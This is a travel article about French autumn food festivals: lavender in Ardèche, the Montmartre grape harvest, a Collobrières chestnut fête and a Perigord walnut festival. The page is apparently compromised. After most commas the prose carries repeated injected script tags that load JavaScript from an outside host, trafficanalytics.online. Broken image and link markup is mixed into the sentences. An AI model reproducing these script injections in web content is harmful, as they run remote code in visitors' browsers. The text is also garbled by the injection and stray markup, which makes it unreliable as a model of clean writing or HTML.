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Soil Festivals of France

by Ilona Kauremszky

global feast

Around France, the terra firma is blessed with good yield. I found this out the easy way, traipsing through a lavender field in Saint-Remèze as lavender enthusiast Bernard Frizon from the Saint-Remèze Museum leaned over fresh wild herbs perfuming the landscape and divulged a secret.

Southern Ardèche, on the plateau de Gras, the Combes du Coiron and the Ubie valley, arguably rivals the lavender of its southern neighbor, Grasse.

“When farmers first planted lavender in this area it was tough work, ” says Frizon, recounting the back-breaking labour these hardy farmers endured during the 19th century.

Abbey of Senanque, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Provence, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> France” title=”Abbey-Senanque-Provence-France” width=”630″ height=”419″ class=”aligncenter size-medium wp-image-25874″ /></a></p>
<p>Now step into the 21st century. The idyllic landscape, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> its gentle slopes blanketed in vibrant lavender, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> changes hues by the minute as the clouds above shift in the sunlight. I could have stepped inside a Monet painting, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> maybe even Van Gogh if he had ever ventured there.</p>
<p>In fall, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the lavender harvest is coming to its end. The beautiful purple carpet that is now nicely trimmed back to short stubby stumps is being prepped for the next season, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> as Old Man Winter waits just around the corner.</p>
<p>People in these parts infuse their salads with <em>lavande</em>, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> throw sprigs into their tea pots and, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> of course, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> dry the delicate purple pods to perfume their linen closets and blankets.</p>
<p>Around France, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the <em>terroir</em> is synonymous with the life of the table. Recently, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> UNESCO designated “The Gastronomic meal of the French” on its highly lauded heritage list. It’s the “intangible cultural heritage of humanity, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>” UNESCO declared when French cuisine made the prestigious listing in 2010.</p>
<h5>Here’s a basket of French fall culinary festivals you don’t want to miss:</h5>
<p> </p>
<h6><a title=Vendanges de Montmartre

Location: 18th arrondissement, Paris

Now in its 79th year, the Montmartre Grape Harvest Festival packs in five days of foodie events that culminate around the fabled neighborhood of Sacre Couer. Favourite past-times include vintage wine sampling from the wines of Clos Montmartre, and snacking around Paris’ largest outdoor table. It’s sure to be a gourmet walk around Sacred Heart like no other. Saturday is the big party day. Costumed revellers in bright green or red hit the winding streets, all part of the Grand Parade Day. You’ll spot the Queen of the Harvest and see traditional folk groups perform ancient medleys.

vineyard, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Montmartre, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> France” title=”vineyard-montmartre-France” width=”630″ height=”330″ class=”aligncenter size-medium wp-image-25870″ /></a></p>
<h6><a title=Les Fêtes de la Châtaigne

Location: Collobrières in Maures, Var region

First off, chestnuts are king across many French hamlets, especially during harvest season. Back in the 10th century when the ancient Carthusians settled around the lofty slopes of Maures, they planted teeny marron (chestnut) saplings, which flourished into fabulous chestnut groves, sadly only to be forgotten. Now, Chestnut mania has been revived and production is thriving. Locals gather in Collobrieres on the Sundays of October to celebrate the nutty chestnut revival.

sweet chestnuts, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> marron glaze” title=”sweet-chestnuts-marron-glaze” width=”630″ height=”419″ class=”aligncenter size-medium wp-image-25872″ /></a></p>
<h6><a title=10th Walnut Festival

Location: Saillac, Perigord

In the Dordogne valley, the walnut tree of Perigord is like the sistering olive trees to the south—it is ‘the’ tree the locals cultivate. Locals have a saying, too. “Nothing is lost in the walnut of the Périgord region, unless it’s noise when breaking.” The walnut love fest dates back 17, 000 years to the time of Cro-Magnon Man. Archaeologists had fun discovering these fossilized nuts, but we love how walnuts were currency; in the 13th century, farmers paid their debts in walnuts, and later substituted walnut oil as currency. Walnut was like gold, precious. Now for one glorious day, festival goers get to see walnut cultivating demonstrations, check out the groves and sample nutty products as the farmers reminisce about the old days and smile upon the lucrative industry (the southwest region produces 15, 000 tons of walnuts).

walnuts, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Dordogne, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> France” title=”walnuts-Dordogne-France” width=”630″ height=”419″ class=”aligncenter size-medium wp-image-25873″ /></a></p>
<p> </p>
<h5>Come dine with us! We’re celebrating the harvest this month on Travel+Escape with a special series, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <a href=CULINARY TRAVEL: GLOBAL FEAST!